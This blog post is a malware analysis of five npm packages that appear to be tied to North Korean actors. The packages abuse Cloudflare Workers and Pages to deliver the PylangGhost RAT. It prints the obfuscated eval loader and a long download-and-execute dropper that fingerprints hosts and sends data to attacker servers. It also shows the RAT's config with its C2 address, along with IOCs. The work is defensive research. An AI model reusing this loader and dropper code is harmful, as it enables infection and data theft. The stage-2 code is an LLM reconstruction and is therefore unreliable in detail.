

North Korea's abuse of Cloudflare Workers and Pages

By kmsec-uk

Published: 2026-05-01 · Archived: 2026-05-09 02:00:41 UTC

I took a break from my DPRK tracking hobby to amass a useless collection of public Google Docs in [dochunt](#). But play time is over! DPRK gave me something fun to come back to. Thank you NK, very cool!

Summary

- A cluster of 5 npm packages abuse Cloudflare infrastructure (Pages/Workers) to deliver PylangGhost RAT
- Novel obfuscation techniques, encryption, runtime logic gates, and device fingerprinting are used to hinder detection
- This cluster showcases the latest techniques by FAMOUS CHOLLIMA to evade detection and strengthens attribution of [Contagious Trader](#) to FAMOUS CHOLLIMA

Before we begin, I should note that this isn't the first instance of FAMOUS CHOLLIMA abusing Cloudflare Workers but I wanted to document their progress and this felt like a nice checkpoint to showcase that.

Here is the cluster of npm packages to be discussed:

Name	npm maintainer	First weaponised version publish	Comment	Download npm package
<code>es6-runtimejs</code>	jaosne (jr11302025z[@]proton.me)	(1.0.3) 2026-04-27 12:49:05	Malicious loader	es6-runtimejs-1.0.3.tgz
<code>winston-js-express</code>	jaosne (jr11302025z[@]proton.me)	(1.0.3) 2026-04-27 12:52:03	Transitive dependency for <code>unique-string-64</code>	winston-js-express-1.0.3.tgz
<code>ether-bn.js</code>	jaosne (jr11302025z[@]proton.me)	(1.3.1) 2026-04-27 13:01:03	Transitive dependency for <code>unique-string-64</code>	ether-bn.js-1.0.3.tgz
<code>node-env-detector</code>	jason2 (jr10162025[@]proton.me)	(1.0.0) 2026-04-27 15:56:29	Environment profiler and direct dependency for <code>unique-string-64</code>	node-env-detector-1.0.0.tgz

Name	npm maintainer	First weaponised version publish	Comment	Download npm package
unique-string-64	jason3 (jr11282025[@]proton.me)	(1.0.1) 2026-04-27 18:17:48	Malicious loader	unique-string-64-1.0.1.tgz

Comment

Due to the similar npm usernames, emails, publish times, and cross-dependency relationships, this cluster is almost certainly the product of a single operator.

The name of transitive dependency `ether-bn.js` impersonates legitimate package `big.js`, which is a consistent theme in the Contagious Trader campaign. This cluster showcases operational procedures from both Contagious Interview and Contagious Trader, contributing to a high confidence attribution of Contagious Trader to FAMOUS CHOLLIMA.

Analysis

Below is a basic tree to illustrate the dependency relationship from the table above:

```
ether-bn.js
├── unique-string-64
│   └── node-env-detector
```

The intended workflow is for `ether-bn.js` to be installed as a dependency to a coding project, which then adds the malicious sub-dependencies. In this case, infection happens at runtime as opposed to installation.

ether-bn.js

1.3.1 • Public • Published 4 days ago

[Readme](#) [Code](#) [Beta](#) [1 Dependency](#) [0 Dependents](#) [5 Versions](#)

<bn.js>

BigNum in pure javascript

Install

```
npm install --save buffernumber.js
```

Usage

```
const BN = require('buffernumber.js');

var a = new BN('dead', 16);
var b = new BN('101010', 2);

var res = a.add(b);
console.log(res.toString(10)); // 57047
```

Note: decimals are not supported in this library.

Sponsors

ether-bn.js on npm. Note the historic reference to removed npm package `buffernumber.js`

Upon running the poisoned JavaScript project the following chain reaction will occur (Clicking on the *view sample* links will take you to the malicious samples hosted on my dprk research site):

- ether-bn.js file /lib/bn.js loads unique-string-64 ([view /lib/bn.js](#))
- unique-string-64 file index.js scans the host environment with node-env-detector ([view unique-string-64's index.js](#)). It checks CPU, memory, and other attributes to determine if the host is running in a sandbox.
- if the host environment is assessed to be a legitimate victim, unique-string-64 evaluates an encrypted payload, and the infection chain will begin in earnest.

The infection chain can broadly be broken up into three stages:

1. the localised malicious code in the npm package unique-string-64
2. remote JavaScript code hosted on Cloudflare Pages keo[.]pages[.]dev
3. PylangGhost

Stage 1 (unique-string-64)

One of my motivations for writing this post is to highlight a really neat display of ingenuity in unique-string-64. I genuinely cracked a smile at this snippet of code!

```
const metrics = [
  'echo',
  'vertex',
```

```
'length',  
'delta',  
'alpha',  
];  
  
function makeSignature() {  
  return function (payload) {  
    void payload  
    const tokenParts = [metrics[0], metrics[1], metrics[4], metrics[2]]  
    return (globalThis)[tokenParts.map((part) => part[0]).join('')](payload)  
  }  
}  
makeSignature()(decrypt('e02c83...<snipped>'))
```

It's clear from reading this snippet that `makeSignature()` is some kind of trigger to do something nasty with the decrypted payload. The first trick is that `makeSignature()` returns a function that takes a parameter. So at runtime it gets swapped out like this:

```
# a runtime swap to returned function which is then invoked with parameter `decrypt(blob)`  
--- makeSignature()(decrypt(blob))  
+++ createdFunction(decrypt(blob))
```

This is basic JavaScript misdirection and nothing to write home about. I wanted to mainly focus on this `metrics` array and how it is leveraged in a cunning way:

```
# the array is reordered:  
--- [metrics[0], metrics[1], metrics[4], metrics[2]]  
+++ ['echo', 'vertex', 'alpha', 'length']  
# ...  
# and then transformed like so:  
--- tokenParts.map((part) => part[0]).join('')  
+++ "eval"
```

I haven't seen this kind of character index stacking before. Fantastic! Here's a summary of the steps I outlined above:

```
# FYI: globalThis is the global object / scope.  
--- return (globalThis)[tokenParts.map((part) => part[0]).join('')](payload)  
+++ return globalThis.eval(payload)
```

Wow. What a lovely piece of malware! Anyway, here's the decrypted payload in full, after being prettified (no obfuscation was used). This is what's invoked by `globalThis.eval` :

```
(async () => {
  const { spawn: n } = await import('child_process')
  n(
    process.execPath,
    [
      '-e',
      ' async function backgroundTask(_code){ const res = await fetch("https://keo.pages.dev/output-2"); const
      'h3k4hgdkszfvfbo7rfz2z5JVAfxyKifnDzcSc',
    ],
    {
      detached: true,
      stdio: 'ignore',
      windowsHide: true,
    }
  ).unref()
  process.exit(0)
})();
```

Stage 2 (keo[.]pages[.]dev/output-2)

The decrypted snippet from stage 1 simply launches a new process (Node, Deno, whatever the victim is running) and evaluates remote content held at keo[.]pages[.]dev/output-2 .

Note

At the time of analysis, the pages.dev domain served an ETag header for identified endpoints:

- /output-1 : etag: "6c025ef4e5ee6ddd02ea7534ddfe8c23" (nb: not used in this infection chain)
- /output-2 : etag: "35af43ed0478bcfe7f718bf47f754368"

ETag headers are not supplied by Cloudflare Workers/Pages by default. You must manually implement them or clone the headers from the source. This indicates that static content is not being served and that FAMOUS CHOLLIMA are leveraging dynamic Cloudflare Workers.

This SHA1-like (they're not the actual hash) ETag format is not consistent with R2 (Cloudflare's S3-like blob storage), suggesting one of two scenarios:

- The Cloudflare Worker has been written to serve ETags (highly unlikely)
- The Cloudflare Worker is cloning upstream headers from an origin server (highly likely)

I won't post the full /output-2 payload here as it's large and heavily encrypted. I'll link for you to view it in CyberChef:

[View output-2 in CyberChef](#)

Below is a deobfuscated interpretation by an LLM (standard hallucination warnings apply). Note that it uses a hardcoded seed `h3k4hgdkszfqvfb07rfz2z5JVAfxyKifnDzcSc` that was provided from the first-stage decrypted blob above as a POST header for victim files:

`data: inputData.slice(0, 10)` (which computes to `h3k4hgdksz`).

```
(async inputData => {
  const fs = await import("fs");
  const https = await import("https");
  const { execSync, exec, spawn } = await import("child_process");
  const path = await import("path");

  const baseHeaders = {
    "User-Agent": "curl/7.68.0",
    Accept: "/*/*",
    Connection: "keep-alive",
    "Cache-Control": "no-cache"
  };

  function createPrng(seed) {
    let currentSeed = seed;
    return () => {
      currentSeed = currentSeed * 1103515245 + 12345 & 2147483647;
      return currentSeed & 255;
    };
  }

  function decrypt(base64Str) {
    const buffer = Buffer.from(base64Str, "base64");
    const prng = createPrng((new Date().getFullYear() * 9301 + 49297) % 233280);
    const result = Buffer.alloc(buffer.length);
    for (let i = 0; i < buffer.length; i++) {
      result[i] = buffer[i] ^ prng();
    }
    return result.toString("utf8");
  }

  async function main() {
    switch (process.platform) {
      case "win32":
        return infectWindows();
      case "darwin":
        return infectMac();
      case "linux":
        return infectLinux();
      default:
        return;
    }
  }
})
```

```
}
}

const makeRequest = async (url, method, body = null, token = null) => {
  try {
    const reqHeaders = {
      "Content-Type": "application/json",
      ...(token && { Authorization: "Bearer " + token })
    };
    const reqOptions = {
      method: method,
      headers: reqHeaders,
      ...(body && { body: JSON.stringify(body) })
    };
    const response = await fetch(url, reqOptions);
    const data = await response.json();
    if (!response.ok) {
      return data || { result: false, error: "Request failed" };
    }
    return data;
  } catch (err) {
    return { result: false, error: err.message };
  }
};

const sendAssessment = reqBody => makeRequest(decrypt("qHQ08LM6Ly8kcDcuKnIxMnAxMjAyNXoud29ya2VySy5kZXVv") + "s

const addInvitedId = reqBody => {
  return makeRequest(decrypt("qHQ08LM6Ly8kcDcuKnIxMnAxMjAyNXoud29ya2VySy5kZXVv") + "api/invited-ids/add", "POS
};

function getWinSerial() {
  return new Promise((resolve, reject) => {
    exec("wmic diskdrive get serialnumber", (err, stdout, stderr) => {
      if (err) {
        reject("Error executing command: " + err);
        return;
      }
      if (stderr) {
        reject("stderr: " + stderr);
        return;
      }
      const serial = stdout.trim().split("\n")[1].trim();
      resolve(serial);
    });
  });
}
```

```
function getMacSerial() {
  return new Promise((resolve, reject) => {
    exec("ioreg -l | grep IOPlatformSerialNumber | awk -F\\\" '{print $4}'\"", (err, stdout, stderr) => {
      if (err) return reject(err);
      if (stderr) return reject(stderr);
      const serial = stdout.trim();
      if (!serial) return reject(new Error("Serial number not found"));
      resolve(serial);
    });
  });
}

function getLinuxSerial() {
  return new Promise((resolve, reject) => {
    exec("lsblk -o NAME,SERIAL", (err, stdout, stderr) => {
      if (err) {
        reject("Error executing command: " + err);
        return;
      }
      if (stderr) {
        reject("stderr: " + stderr);
        return;
      }
      const serial = stdout.trim().split("\n")[1].trim();
      resolve(serial);
    });
  });
}

const downloadFile = (url, destPath) => {
  return new Promise((resolve, reject) => {
    const fileStream = fs.createWriteStream(destPath);
    console.log(url);
    const options = {
      rejectUnauthorized: false,
      headers: baseHeaders
    };
    https.get(url, options, response => {
      if (response.statusCode !== 200) {
        reject(new Error("HTTP " + response.statusCode));
        return;
      }
      response.pipe(fileStream);
      fileStream.on("finish", () => {
        fileStream.close(resolve);
      });
    });
  });
}
```

```
    }).on("error", err => {
      fs.unlink(destPath, () => reject(err));
    });
  });
};

async function gatherAndSend() {
  let serial = "";
  if (process.platform === "win32") {
    serial = await getWinSerial();
  }
  if (process.platform === "darwin") {
    serial = await getMacSerial();
  }
  if (process.platform === "linux") {
    serial = await getLinuxSerial();
  }
  console.log("SN:", serial, process.platform);

  const { data: { inviteCode } } = await addInvitedId({ identifyCode: "sda" });

  const payload = {
    name: serial,
    email: "",
    social: process.platform,
    company: "Node",
    uuid: "EL0908I",
    invitecode: inviteCode,
    data: inputData.slice(0, 10)
  };

  const { unique } = await sendAssessment(payload);
  console.log("unique:", unique);
  return unique;
}

async function infectWindows() {
  const uniqueId = await gatherAndSend();
  if (!uniqueId) return;

  const url = "https://deoft.org/pver-" + uniqueId + ".patch";
  const tempDir = process.env.TEMP;
  const archivePath = path.join(tempDir, "fixed.tar.gz");
  const extractDir = path.join(tempDir, "fixed");
  const vbsPath = path.join(extractDir, "update.vbs");

  try {
```

```
await downloadFile(url, archivePath);
await new Promise(async (resolve, reject) => {
  try {
    console.log("extracting..");
    await fs.promises.mkdir(extractDir, { recursive: true });
    const tarProcess = spawn("C:\\Windows\\System32\\tar.exe", ["-xzf", archivePath, "-C", extractDir], {

    tarProcess.stderr.on("data", data => {
      console.error("tar error:", data.toString());
    });

    tarProcess.on("error", err => {
      console.error("Extraction failed:", err);
      reject(err);
    });

    tarProcess.on("close", code => {
      if (code !== 0) {
        return reject(new Error("Extraction failed with code " + code));
      }
      console.log("Extracted successfully!");

      const runOptions = {
        cwd: extractDir,
        stdio: "inherit",
        windowsHide: false
      };
      const vbsProcess = spawn("wscript.exe", [vbsPath], runOptions);

      vbsProcess.on("error", err => {
        console.error("Failed to run VBS:", err);
        reject(err);
      });

      vbsProcess.on("close", code => {
        console.log("Run vbs finished with code:", code);
        resolve();
      });
    });
  } catch (err) {
    reject(err);
  }
});
process.exit(0);
} catch (err) {
  console.error("Execution failed:", err);
  process.exit(1);
}
```

```
    }  
  }  
  
  async function infectLinux() {  
    const uniqueId = await gatherAndSend();  
    if (!uniqueId) return;  
  
    const url = "https://deoft.org/li-" + uniqueId + ".patch";  
    const scriptPath = "/var/tmp/camDriver.sh";  
  
    try {  
      await downloadFile(url, scriptPath);  
      console.log("downloaded zip");  
      execSync("chmod +x /var/tmp/camDriver.sh && nohup bash /var/tmp/camDriver.sh >/dev/null 2>&1 &", { stdio:  
        console.log("ran successfully");  
        process.exit(0);  
      } catch (err) {  
        console.error("Execution failed: " + err.message);  
        process.exit(1);  
      }  
    }  
  }  
  
  async function infectMac() {  
    const uniqueId = await gatherAndSend();  
    if (!uniqueId) return;  
  
    const url = "https://deoft.org/pmac-" + uniqueId + ".patch";  
    const scriptPath = "/var/tmp/camDriver.sh";  
  
    try {  
      await downloadFile(url, scriptPath);  
      console.log("downloaded zip");  
      execSync("chmod +x /var/tmp/camDriver.sh && nohup bash /var/tmp/camDriver.sh >/dev/null 2>&1 &", { stdio:  
        console.log("ran successfully");  
        process.exit(0);  
      } catch (err) {  
        console.error("Execution failed: " + err.message);  
        process.exit(1);  
      }  
    }  
  }  
  
  main();  
})(initData);
```

This stage has several notable attributes:

- Usage of a dynamic XOR decryption using the current year (2026).

- Paths consistent with FAMOUS CHOLLIMA's distribution of GolangGhost and PylangGhost (camDriver.sh)
- Contact with an attacker-controlled server is required to get a key to download the next-stage payload

The encrypted string starting with `qHQ08L..` decrypts to

`hxxps://dpw.jr12012025z.workers[.]dev`, another piece of Cloudflare infrastructure.

There is a string that looks like a Stripe API key: `sk_live_51H7x9y4eZvKYlo3...`, however it's unlikely to be real due to the recurring `KYlo` characters.

Stage 3 (PylangGhost)

To get the final payload, you need to send data to an attacker controlled Cloudflare Worker at

`dpw.jr12012025z.workers[.]dev` to get the correct URL path.

I passed some dummy values to the Worker to get the Windows variant payload location:

`hxxps://deoft[.]org/pver-3447.patch`.

As my gut told me, this is a PylangGhost infection chain. The Content-Disposition header for `/pver-3447.patch` is `attachment; filename="nvidiaRelease.tar.gz"`, consistent with other PylangGhost infrastructure. Here's what was delivered:

Attribute	Value
Size	28MB
SHA256	9ec622624f5f07c5d86e6048f2710de1e9c5ac7c6a6fad4fcb31121bb67c0239
File type	gzip compressed data, was "result.tar", last modified: Thu Apr 23 18:32:08 2026

Unpacked, it's a big bundle of PylangGhost malware containing 490 directories and 4623 files. The infection chain continues from JavaScript to wscript and eventually Python, but all I wanted to know is PylangGhost's C2, which is consistently found in `/config.py` and is `187.127.248[.]20`:

```

config.py
home > kmsec > analysis > dprk > keo > config.py > ...
1  PID0825NAME      = ".store"
2  MACHINE0825HOST = ".host"
3  DURATION0825ERROR_WAIT = 5
4  DAEMON0825VERSION = "1.0.0"
5
6  MSG0825INFO      = "fwe9"
7  MSG0825LOG        = "1q2w"
8  LOG0825SUCCESS    = "true"
9  LOG0825FAIL       = "false"
10 MSG0825PING       = "poiu"
11 MSG0825FILE       = "qpwoe"
12
13 COMMAND0825INFORMATION      = "qwer"
14 COMMAND0825FILE_UPLOAD      = "asdf"
15 COMMAND0825FILE_DOWNLOAD    = "zxcv"
16 COMMAND0825TERMINAL         = "vbcx"
17 SHELL_MODE0825WAIT_GETOUT    = "qmw"
18 COMMAND0825WAIT             = "ghdj"
19 COMMAND0825AUTO             = "r4ys"
20 AUTO0825CHROME_GATHER       = "89io"
21 AUTO0825CHROME_COOKIE       = "gi%#"
22 COMMAND0825EXIT             = "dghh"
23
24 SVR0825URL = "http://187.127.248.20:8080" # Change to your server
25 MAX0825SLEEP = 40
26 MIN0825SLEEP = 20
27 EXTENSION0825ARRAY = [
28     "nkbihfbeogaeaoehlefnkodbefgpgknn",
29     "bfnaelmomeimhlpmgjnjophhpkkoljpa",
30     "ibnejdfjmmkpcnlpebklmknkoeiohofec",
31     "egjidjbpglichdcondcbdnbeeppgdph",
32     "aebldfkhhdcdjpifhbhdiojplfjncoa",
33     "agoakfejjabomempkjlepdlaleeobhb",
34     "acmacodkjbdgmoleebolmdjonilkbch",
35     "anokgmphncpekkhclmingpimjmcoifb",
36     "aholpfdialjgjfhomihkjbmjgidlcdno",
37     "bhhlbepdkbapadjdnnojkbgioidbic",
38     "canipghmckojpianfgiklhbpgpfmjkjg",
39     "dlcobpjiiigpikoobohmabehhmhfoodbb",
40     "dmkamcknogkgcdfhhbdcghachkejeap",
41     "fhbohimaelfbohoibblcdncnabndodid".

```

PyLangGhost config showing the C2 address in plaintext

I have uploaded the [Windows PyLangGhost payload](#) to VirusTotal for your perusal.

Other npm packages in the cluster

The above infection chain involves 3 of the 5 npm packages listed earlier. Here are the remaining two:

- `winston-js-express` - loads `unique-string-64` as above. Same infection chain
- `es6-runtimejs` - retrieves and evaluates `hxxps://keo.pages[.]dev/output-1`, which retrieves and evaluates `/output-2` - infection chain picks up at stage 2

Assessment

This cluster showcases a relatively minor development in FAMOUS CHOLLIMA's activity, but underscores FAMOUS CHOLLIMA's adaptability and flexibility to abuse a wide range of developer platforms for their operations. It's highly likely they will continue to abuse Cloudflare infrastructure in the medium term.

What's especially notable in this case study is that innovation is frontloaded into the early stages of infection — great levels of novelty, obfuscation, and misdirection in the npm dependency chain while leaving the final payload as a relatively brutish, heavy PylangGhost payload. This is almost certainly because FAMOUS CHOLLIMA's greatest challenge is their time to live on npm and other public development platforms.

In my prior post on Contagious Trader, I withheld attribution to FAMOUS CHOLLIMA, however this cluster showcases operational procedures from both Trader and Interview. On top of other artefacts I uncovered in the original [Contagious Trader](#) piece, attribution now stacks towards FAMOUS CHOLLIMA with high confidence.

Hunting

I've mentioned some of these hunt themes in prior write-ups:

- POST requests to Cloudflare Worker (if noisy, look for curl user-agent)
- Node.js (or Bun, Deno) launching wscript (PylangGhost intermediary)
- wscript launching Python (PylangGhost)
- Interpreters (Python, Node, Bun, etc.) interacting with AS47583 (HOSTINGER), this ASN hosts the 187.* IOCs - this is likely to be noisy, but worth profiling environments for.
- Cloudflare Workers at *.workers.dev have a `{worker_name}.{cloudflare_tenant}.workers.dev` layout. One could explore whether the entropy of cloudflare_tenant can be a signal.

IOCs

ioc	type	comment
keo.pages.dev	Domain	Cloudflare infrastructure
dpw.jr12012025z.workers.dev	Domain	Cloudflare infrastructure
deoft.org	Domain	Delivers PylangGhost
187.77.111.137	IPv4	Resolution for deoft.org
187.127.248.20	IPv4	PylangGhost C2

Appendix

When retrieving the PylangGhost Windows variant at `hxxps://deoft[.]org/pver-3447.patch`, I got the following notable headers:

```
< content-disposition: attachment; filename="nvidiaRelease.tar.gz"
< last-modified: Fri, 24 Apr 2026 13:54:46 GMT
< etag: W/"1b11173-19dbfc5881f"
```

Source: <https://kmsec.uk/blog/dprk-pages-dev-abuse/>